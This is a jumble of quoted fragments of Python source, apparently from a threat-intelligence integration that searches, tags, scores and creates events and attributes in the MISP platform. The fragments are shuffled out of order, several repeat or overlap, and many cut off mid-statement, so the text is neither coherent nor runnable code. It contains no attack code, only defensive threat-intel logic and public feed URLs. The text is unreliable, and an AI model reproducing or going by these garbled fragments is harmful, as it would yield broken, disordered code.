'orgc_name': 'OwnerOrganization.Name', 'event_uuid': 'EventUUID', 'proposal_to_delete': 'ProposalToDelete', 'description': 'Description', 'version': 'Version', 'Object':","to given UUID of event or attribute. is_attribute (bool): if the given UUID","arg_to_number(demisto_args.get('event_id'), \"event_id\") attributes_args.update({'id': event_id}) if event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]})","number of attributes that will be written to the context Returns: CommandResults includes","object Returns: list: list containing dicts that GenericObjectGenerator can take. Examples: >>> {'ip':","= copy.deepcopy(misp_response) attributes_list = response.get('Attribute') if not attributes_list: return None attributes_list = sorted(attributes_list,","'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted',","value: {value}', attribute_highlights, removeNull=True) readable_output += tableToMarkdown('Related events', list(found_related_events.values())) return CommandResults(indicator=indicator, raw_response=misp_response, outputs=all_attributes,","all the tags are valid positive integers.\"\"\" for tag in tag_ids: try: tag","will be a list of attributes along with their events objects. Note: When","'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High': 1, 'Medium':","= misp_convert_timestamp_to_date_string( event.get('publish_timestamp')) def found_event_with_bad_threat_level_id(found_related_events): bad_threat_level_ids = [\"1\", \"2\", \"3\"] for event in","\"2\", \"3\"] for event in found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids: return","human readable format \"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \"\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict,","called as an independence command or as part of another command (create event","to the context Returns: CommandResults includes all the indicator results. \"\"\" reputation_value_validation(value, dbot_type)","generic object Returns: GenericObjectGenerator: object created in MISP Example: args should look like:","the indicator. For the context data outputs, for every attribute we remove the",") def add_attribute(event_id: int = None, internal: bool = False, demisto_args: dict =","== 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args))","'google.com'}] \"\"\" return [{k: v} for k, v in args.items()] def build_generic_object(template_name: str,","in error] def dict_to_generic_object_format(args: dict) -> List[dict]: \"\"\" Converts args dict into a","as the information is too big. User can use the command search-attributes in","is_misp_complex_search_helper(match_operator, misp_query_params, operator_key): is_complex_search = False if match_operator is not None: misp_query_params[operator_key] =","in event.get('Galaxy')] def event_to_human_readable_object_list(event): event_objects = event.get('Object', []) if event_objects: return [event_object.get('ID') for","in MISP_ANALYSIS_TO_IDS else analysis_arg event.info = args.get('info') if args.get('info') else 'Event from XSOAR'","Name\": event.get(\"info\"), \"Threat Level ID\": event.get('threat_level_id'), \"Event ID\": event.get(\"id\")} if event.get('Tag'): limit_tag_output, tag_ids","response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({\"ID\": event_id}) human_readable = f'Object has","to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line","required tag was failed. Please make sure the UUID and tag exist.\") if","def add_sighting(demisto_args: dict): \"\"\"Adds sighting to MISP attribute \"\"\" attribute_id = demisto_args.get('id') attribute_uuid","suspicious_tag_ids): \"\"\" Gets 2 sets which include tag ids. If there is an","first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args:","command == 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command","json.loads(json.dumps(response_object)) events = [event.get('Event') for event in response_object] for i in range(0, len(events)):","CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids,","example for a parsed output in test_data/reputation_command_outputs.json \"\"\" response = copy.deepcopy(misp_response) attributes_list =","add_object(event_id, obj) else: raise DemistoException( f'None of required arguments presents. command {demisto.command()} requires","goes over all the attributes that found (after limit the attributes amount to","tag_set_ids.add(tag_id) else: # attribute level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')})","return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else key): replace_keys_from_misp_to_context_data(value) for key, value","can use the command search-attributes in order to get the information about the","ip}) if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')})","dbot_type == \"EMAIL\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type == \"URL\": return Common.URL(url=value, dbot_score=dbot_score)","galaxies lists. Eventually, the outputs will be a list of attributes along with","None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException( f'None of","sure the UUID and tag exist.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable","ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute,","suspicious nor malicious will be scored by their event's threat level id. In","attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid')","in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \"\"\" By","# add the tag except PyMISPError: raise DemistoException(\"Adding the required tag was failed.","or not (MISP_API_KEY := params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill in a","if url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else","DemistoException(\"Adding the required tag was failed. Please make sure the UUID exists.\") if","f\"MISP search-attributes returned {len(response_for_context)} attributes\\n {pagination_message}\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context,","should be found. Returns: list includes all the events that were detected as","scored_events.extend(search_events_with_scored_tag(attribute, found_tag, event_name)) return remove_duplicated_related_events(scored_events) def remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in","Demisto to Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids'","\"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp else \"\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) ->","def delete_event(demisto_args: dict): \"\"\" Gets an event id and deletes it. \"\"\" event_id","found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable =","\"\"\" Create a new MISP event object and set the event's details. \"\"\"","By the given object we go over all the tags and search if","'true' else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1 if demisto_args.get( 'include_feed_correlations')","in suspicious_tag_ids if tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): \"\"\"Gets","for key in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None)","build_events_search_response(response: Union[dict, requests.Response]) -> dict: \"\"\" Convert the response of event search returned","for event_object in event.get('Object')] def event_to_human_readable(response: dict): event_highlights = [] for event in","'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen', 'last_seen', 'value', 'Event', 'Object',","add to tag_set_ids all the tags (event ones and the event's attribute tags","[]) if event_tags: return [tag.get('Name') for tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies =","in response_object] for i in range(0, len(events)): # Filter object from keys in","prepare_args_to_search('attributes') outputs_should_include_only_values = argToBoolean(demisto_args.get('compact', False)) include_correlations = argToBoolean(demisto_args.get('include_correlations', False)) page = arg_to_number(demisto_args.get('page', 1),","Function will add tag to given UUID of event or attribute. is_attribute (bool):","raise DemistoException(f\"Tag id has to be a positive integer, please change the given:","search_events(demisto_args: dict) -> CommandResults: \"\"\" Execute a MISP search using the 'event' controller.","V3]: command is {command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids)","elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except Exception as","Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp', 'input': 'network'} } THREAT_LEVELS_TO_ID = { 'High': 1,","'from' in args_to_misp_format: args_to_misp_format['date_from'] = args_to_misp_format.pop('from') if 'to' in args_to_misp_format: args_to_misp_format['date_to'] = args_to_misp_format.pop('to')","if the threat level id is in [1,2,3]. Otherwise, the threat level is","number\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute in response: event =","get_score(attribute_tags_ids=attributes_tag_ids, event_tags_ids=event_tag_ids, malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level=attribute_in_event_with_bad_threat_level) formatted_response = replace_keys_from_misp_to_context_data({'Attribute': attributes_list}) return formatted_response, score, found_tag,","of {len(events_ids)} events was added to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID',","} for event_object in event['Object'] ] def build_tag_output(given_object): \"\"\"given_object is attribute or event,","in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if","dict, is_attribute=False): \"\"\" Function will remove tag to given UUID of event or","attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment') value","MISPSighting, MISPEvent, MISPAttribute from pymisp.tools import GenericObjectGenerator import copy from pymisp.tools import FileObject","\"limit\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable","add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes =","key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes","return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response =","tags which configured as suspicious will be scored 2 (i.e suspicious). * don't","= replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params =","raise DemistoException(f\"Error: The given email address: {value} is not valid\") def get_indicator_results(value, dbot_type,","= build_attributes_search_response(response, include_correlations) attribute_highlights = attribute_response_to_markdown_table(response_for_context) pagination_message = f\"Current page size: {limit}\\n\" if","\"\"\" By the given object we go over all the tags and search","if response.get('message'): raise DemistoException(f\"An error was occurred: {response.get('message')}\") elif response.get('Sighting'): human_readable = f'Sighting","value: {value}\") def get_events_related_to_scored_tag(all_attributes, found_tag): \"\"\" This function searches for all the events","\"\"\" Function will add tag to given UUID of event or attribute. is_attribute","response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\"An error was occurred: {response.get('message')}\") elif","attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings, 'To IDs': attribute.get('ToIDs'),","an example for a response in test_data/reputation_command_response.json Please see an example for a","object_data_dict (dict): Event or attribute dict which includes tags list. found_tag (str): The","{len(response_for_context)} attributes\\n {pagination_message}\", attribute_highlights, removeNull=True) return CommandResults( raw_response=response, readable_output=md, outputs=response_for_context, outputs_prefix=\"MISP.Attribute\", outputs_key_field=\"ID\" )","is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results(","context data outputs, for every attribute we remove the \"Related Attribute\" list and","'Attribute Category': attribute.get('Category'), 'Attribute Type': attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute","ignore return url def add_events_from_feed(demisto_args: dict, use_ssl: bool, proxies: dict): \"\"\"Gets an OSINT","not valid\") if dbot_type == 'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\"Error: The","then calculates it's dbot score. The score is calculated by the tags ids","Args: error: list of responses from error section Returns: List[Dict[str, any]]: filtered response","error: return_error('Unable to connect to MISP because of a NewConnectionError, ' 'Please make","True\"\"\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for","UUID exists.\") if is_attribute: response = PYMISP.search(uuid=uuid, controller='attributes') human_readable = f'Tag {tag} has","attribute's (is_event_level = false), and the tag is only related to an attribute","e: raise DemistoException(f'URL [{url}] is not a valid MISP feed. error: {e}') def","f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \"\"\"","def get_event_id(data_dict): if data_dict.get('EventID'): return data_dict.get('EventID') elif data_dict.get('ID'): return data_dict.get('ID') return data_dict.get('Event', {}).get('ID')","None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None","'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id':","url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id","search-events output as the information is too big. User can use the command","for attribute in all_attributes: event = attribute.get('Event', {}) event_name = event.get('Info') scored_events.extend(search_events_with_scored_tag(event, found_tag,","malicious). * have tags which configured as suspicious will be scored 2 (i.e","= demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment') value =","DemistoException(f\"Error: The given domain: {value} is not valid\") if dbot_type == 'URL': if","obj: MISPObject): \"\"\"Sending object to MISP and returning outputs Args: obj: object to","outputs=events_ids, ) except ValueError as e: raise DemistoException(f'URL [{url}] is not a valid","{tag} has been successfully added to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID',","response: raise DemistoException( f\"Error: An event with the given id: {event_id} was not","deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False): \"\"\" Function will add tag","PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp'))","file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \"\"\"Adds","'proposal_email_lock': 'ProposalEmailLock', 'locked': 'Locked', 'publish_timestamp': 'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id':","= demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace(\"'\", '\"') try: args = json.loads(attributes)","Union[dict, list, str]) -> Union[dict, list, str]: \"\"\" Replacing keys from MISP's format","sha256=value) if dbot_type == \"IP\": return Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \"DOMAIN\": return","related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates def search_events_with_scored_tag(object_data_dict, found_tag, event_name): \"\"\" By the given object we","* have tags which configured as malicious will be scored 3 (i.e malicious).","level if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def",") def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): reputation_value_list = argToList(demisto_args.get(reputation_type), ',')","return 'ok' else: raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed')","{}, new_event: MISPEvent = None): \"\"\"Adding attribute to a given MISP event object","hash_type = get_hash_type(value) if hash_type == 'md5': return Common.File(dbot_score=dbot_score, md5=value) if hash_type ==","'EMAIL': if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given email address: {value} is","(1546713469) and converts it to human readable format \"\"\" return datetime.utcfromtimestamp(int(timestamp)).strftime('%Y-%m-%dT%H:%M:%SZ') if timestamp","to connect to MISP, ' 'Please make sure the API key is correct.')","f\"## MISP add attribute\\nNew attribute: {value} was added to event id {new_event.id}.\\n\" return","MISP, ' 'Please make sure the API key is correct.') return_error(error) def warn(*args):","if dbot_type == 'FILE': # hashFormat will be used only in output hash_format","'Event UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict) -> CommandResults: \"\"\"Execute a","indicator = get_dbot_indicator(dbot_type, dbot, value) all_attributes = outputs.get('Attribute') events_to_human_readable = get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights","error was occurred: {json.dumps(response)}\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" Test module. \"\"\" is_tag_list_valid(malicious_tag_ids)","convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'): attribute['Event']['timestamp'] =","= args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in args_to_misp_format:","if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\"Error: The given domain:","event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None if","'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1 if demisto_args.get('include_decay_score') == 'true' else 0 if","or as part of another command (create event for example) Args: event_id (int):","= json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)):","and galaxies lists. Eventually, the outputs will be a list of attributes along","attribute level, default is '0' tag_id = tag.get('id') if is_event_level: tag_set_ids.add(tag_id) else: #","\"|localhost)\" ) MISP_SEARCH_ARGUMENTS = [ 'value', 'type', 'category', 'org', 'tags', 'from', 'to', 'event_id',","= requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() # type: List[Dict[str, int]] for","event's tag. Otherwise (if it is set to 0 or not exists) it","key and the URL are correct\" in error: return_error('Unable to connect to MISP,","internal (bool): if set to True, will not post results to Demisto demisto_args","malicious_tag_ids) if is_event_tag_malicious: return Common.DBotScore.BAD, found_tag is_event_tag_suspicious = any((found_tag := tag) in event_tags_ids","'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid', 'timestamp', 'distribution', 'sharing_group_id', 'comment', 'deleted', 'disable_correlation', 'first_seen',","be recognised as malicious. suspicious_tag_ids (set): Tag ids should be recognised as suspicious","\"limit\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() #","== 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message)","= f'Tag {tag} has been successfully added to event {uuid}' return CommandResults( readable_output=human_readable,","DemistoException(f\"Tag id has to be a positive integer, please change the given: '{tag}'","return_error('Unable to connect to MISP because of a SSLCertVerificationError, ' 'Please try to","return Common.DBotScore.SUSPICIOUS, found_tag # no tag was found if is_attribute_in_event_with_bad_threat_level: return Common.DBotScore.BAD, None","https://www.misp-project.org/objects.html#_domain_ip \"\"\" text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj =","of event or attribute. is_attribute (bool): if the given UUID belongs to an","When this function was called from create event command, the attrubite will be","= json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return [attribute.get('value') for attribute in attributes] def pagination_args_validation(page,","event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event Objects': event_objects, 'Publish Timestamp': event.get('PublishTimestamp'),","= get_new_misp_event_object(demisto_args) new_event = PYMISP.add_event(new_event, True) if isinstance(new_event, dict) and new_event.get('errors'): raise DemistoException(new_event.get('errors'))","Info': event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'),","logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \"SSLError\" in error: return_error('Unable to connect to MISP because","# guardrails-disable-line \"\"\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int])","tag_id in suspicious_tag_ids if tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids):","caused the indicator to be scored as malicious or suspicious. Args: all_attributes (dict):","attributes that found (after limit the attributes amount to the given limit) and","50), \"limit\", required=True) pagination_args_validation(page, limit) response = PYMISP.search(**args) if response: response_for_context = build_events_search_response(response)","from CommonServerPython import * logging.getLogger(\"pymisp\").setLevel(logging.CRITICAL) def handle_connection_errors(error): if \"SSLError\" in error: return_error('Unable to","i in range(0, len(events)): # Filter object from keys in event_args events[i] =","'format': 'misp', 'input': 'network'}, 'Botvrij.eu': {'name': 'The Botvrij.eu Data', 'url': 'http://www.botvrij.eu/data/feed-osint', 'format': 'misp',","MISP to the context output format. please note: attributes are excluded from search-events","'date', 'threat_level_id', 'info', 'published', 'uuid', 'analysis', 'attribute_count', 'timestamp', 'distribution', 'proposal_email_lock', 'locked', 'publish_timestamp', 'sharing_group_id',",":= params.get('credentials', {}).get('password')): raise DemistoException('Missing API Key. Fill in a valid key in","examples please see UT: test_extract_error. Args: error: list of responses from error section","please change the given: '{tag}' id.\") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute:","'Feed', ] ATTRIBUTE_FIELDS = [ 'id', 'event_id', 'object_id', 'object_relation', 'category', 'type', 'to_ids', 'uuid',","def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname',","MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \"\"\" url_args = [ 'text', 'last_seen', 'first_seen' ]","if not response: raise DemistoException( f\"Error: An event with the given id: {event_id}","event object This function can be called as an independence command or as","tag = int(tag) if tag <= 0: raise DemistoException(f\"Tag id has to be","event_objects = event.get('Object', []) if event_objects: return [event_object.get('ID') for event_object in event.get('Object')] def","handle_connection_errors(e.message) PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp',","obj_to_build.items() } return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \"\", \"\"","event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp')) formatted_events = replace_keys_from_misp_to_context_data(events)","was occurred: {json.dumps(response)}\") def test(malicious_tag_ids, suspicious_tag_ids, attributes_limit): \"\"\" Test module. \"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids)","build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return formatted_attributes def build_galaxy_output(given_object): \"\"\"given_object is","in order to get the information about the attributes. \"\"\" response_object = copy.deepcopy(response)","DemistoException( f'`attribute` parameter could not be decoded, may not a valid JSON\\nattribute: {attributes}',","valid\") if dbot_type == 'DOMAIN': if not re.compile(DOMAIN_REGEX, regexFlags).match(value): raise DemistoException(f\"Error: The given","return obj_to_build def reputation_command_to_human_readable(outputs, score, events_to_human_readable): found_tag_id, found_tag_name = \"\", \"\" for event","perform complex query or if no complex query found returns the original input","mandatory arg att_id = attribute_id or attribute_uuid if not att_id: raise DemistoException('ID or","function goes over all the attributes that found (after limit the attributes amount","don't have any tags configured as suspicious nor malicious will be scored by","'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL, 'DOMAIN': DBotScoreType.DOMAIN,","if demisto_args.get('enforceWarninglist') == 'true' else 0 if 'include_feed_correlations' in args_to_misp_format: args_to_misp_format['includeFeedCorrelations'] = 1","remove_duplicated_related_events(related_events): related_events_no_duplicates = [] for i in range(len(related_events)): if related_events[i] not in related_events[i","formatted_events # type: ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags: return","obj = build_generic_object(template, args) return add_object(event_id, obj) except ValueError as e: raise DemistoException(","i in range(len(related_events)): if related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i]) return related_events_no_duplicates","tag was failed. Please make sure the UUID and tag exist.\") if is_attribute:","includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score,","raw_response=response ) def add_sighting(demisto_args: dict): \"\"\"Adds sighting to MISP attribute \"\"\" attribute_id =","attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level = found_event_with_bad_threat_level_id(found_related_events) score, found_tag =","text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips","suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag was found if is_attribute_in_event_with_bad_threat_level:","certificate option.') if \"NewConnectionError\" in error: return_error('Unable to connect to MISP because of","will be scored 2 (i.e suspicious). * don't have any tags configured as","-> CommandResults: \"\"\" Execute a MISP search using the 'event' controller. \"\"\" args","tag. Args: attribute_dict (dict): The dictionary that includes the tag list. is_event_level (bool):","# removing those fields as they are shared by the events found_tag_id =","event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID'), }) return event_highlights def search_events(demisto_args: dict)","\"\"\" Do nothing with warnings \"\"\" pass # Disable requests warnings urllib3.disable_warnings() #","response = PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException( f\"Error: An event with","'Inherit_event': 5 } SIGHTING_TYPE_NAME_TO_ID = { 'sighting': 0, 'false_positive': 1, 'expiration': 2 }","The score is calculated by the tags ids (attribute tags and event tags).","use_ssl: bool, proxies: dict): \"\"\"Gets an OSINT feed from url and publishing them","any certificate option.') if \"NewConnectionError\" in error: return_error('Unable to connect to MISP because","searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('timestamp')) events[i]['publish_timestamp'] = misp_convert_timestamp_to_date_string(events[i].get('publish_timestamp'))","id and deletes it. \"\"\" event_id = demisto_args.get('event_id') response = PYMISP.delete_event(event_id) if 'errors'","the event ids as the greater event ids are the newer ones. Returns:","event's ones. Otherwise, the data is attribute's (attribute tags). \"\"\" output = []","found_related_events def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events = {} if not","{attribute_uuid} was updated.\\n\" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults(","in object_tags_list: if tag.get('ID') == found_tag: event_id = get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID':","[]) for tag in tags_list: is_event_tag = tag.get('inherited', 0) # field doesn't exist","attributes[i].get(key) for key in ATTRIBUTE_FIELDS if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i],","then the score is Unknown so no events should be found. Returns: list","datetime.today() event.published = argToBoolean(args.get('published', 'False')) return event def create_event_command(demisto_args: dict): \"\"\"Creating event in","option.') if \"NewConnectionError\" in error: return_error('Unable to connect to MISP because of a","or SHA-256') if dbot_type == 'IP': if not is_ip_valid(value): raise DemistoException(f\"Error: The given","def prepare_attributes_array_to_context_data(attributes_list): attributes_tag_ids, event_tag_ids = set(), set() found_related_events = {} if not attributes_list:","ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id, 